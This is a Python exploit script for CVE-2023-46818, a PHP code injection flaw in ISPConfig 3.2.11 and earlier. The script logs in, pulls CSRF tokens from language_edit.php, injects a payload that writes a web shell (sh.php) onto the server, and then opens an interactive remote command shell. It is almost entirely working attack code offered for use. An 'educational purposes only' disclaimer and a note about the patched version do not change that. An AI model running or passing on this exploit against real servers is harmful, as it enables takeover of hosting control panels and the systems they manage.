# ISPConfig <= 3.2.11 (language_edit.php) PHP Code Injection Vulnerability # Vulnerability: CVE-2023-46818 # Python adaptation from original php script by Egidio Romano # Python repository: https://github.com/bipbopbup/CVE-2023-46818-python-exploit # Original PHP source: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html # Software link: https://www.ispconfig.org # Solution: Upgrade to version 3.2.11p1 or later. # Date: 08-10-2024 # THIS SCRIPT IS FOR EDUCATIONAL PURPOSES ONLY import requests import sys import base64 import string import random def ensure_url_format(url): # Ensure the URL starts with http:// or https:// if not url.startswith(("http://", "https://")): raise ValueError("URL must start with 'http://' or 'https://'") # Ensure the URL ends with a / if not url.endswith("/"): url += "/" return url def login(url, user, password): print(f"[+] Logging in with username '{user}' and password '{password}'") # Create a request session session = requests.Session() # Try login login_url = f"{nice_url}login/" login_data = { 'username': user, 'password': password, 's_mod': 'login' } response = session.post(login_url, data=login_data, verify=False) # Verify if login has failed if "Username or Password wrong" in response.text: sys.exit("[-] Login failed!") return session def inject_shell(session, url): print("[+] Injecting shell") # Create PHP injection code php_code = "" encoded_php = base64.b64encode(php_code.encode()).decode() injection_payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_php}'));die;#" lang_file = ''.join(random.choices(string.ascii_letters,k=8))+ ".lng" # Random language file name. Uppercase and lowercase does not seem to affect the response # URL leading to the vulnerable language PHP file lang_edit_url = f"{url}admin/language_edit.php" lang_data = { 'lang': 'en', 'module': 'help', 'lang_file': lang_file } response = session.post(lang_edit_url, data=lang_data, verify=False) # Extract CSRF ID y CSRF Key try: csrf_id = response.text.split('_csrf_id" value="')[1].split('"')[0] csrf_key = response.text.split('_csrf_key" value="')[1].split('"')[0] except IndexError: sys.exit("[-] CSRF ID or Key not found!") # Inyect payload with CSRF tokens lang_data.update({ '_csrf_id': csrf_id, '_csrf_key': csrf_key, 'records[\\]': injection_payload }) session.post(lang_edit_url, data=lang_data, verify=False) def launch_shell(session, url): print("[+] Launching shell") shell_url = f"{url}admin/sh.php" while True: try: cmd = input("\nispconfig-shell# ") if cmd.lower() == "exit": break # Base 64 encoded command in custom C header headers = { 'C': base64.b64encode(cmd.encode()).decode() } response = session.get(shell_url, headers=headers, verify=False) # Extract and print result between '____' if '____' in response.text: result = response.text.split('____')[1] print(result) else: sys.exit("\n[-] Exploit failed!") except KeyboardInterrupt: sys.exit("\n[+] Exiting.") if __name__ == "__main__": if len(sys.argv) != 4: sys.exit(f"\nUsage: python {sys.argv[0]} \n") url, user, password = sys.argv[1], sys.argv[2], sys.argv[3] # Disable SSL warnings requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) nice_url = ensure_url_format(url) print("[+] Target URL: "+nice_url) session = login(nice_url, user, password) inject_shell(session, nice_url) launch_shell(session, nice_url)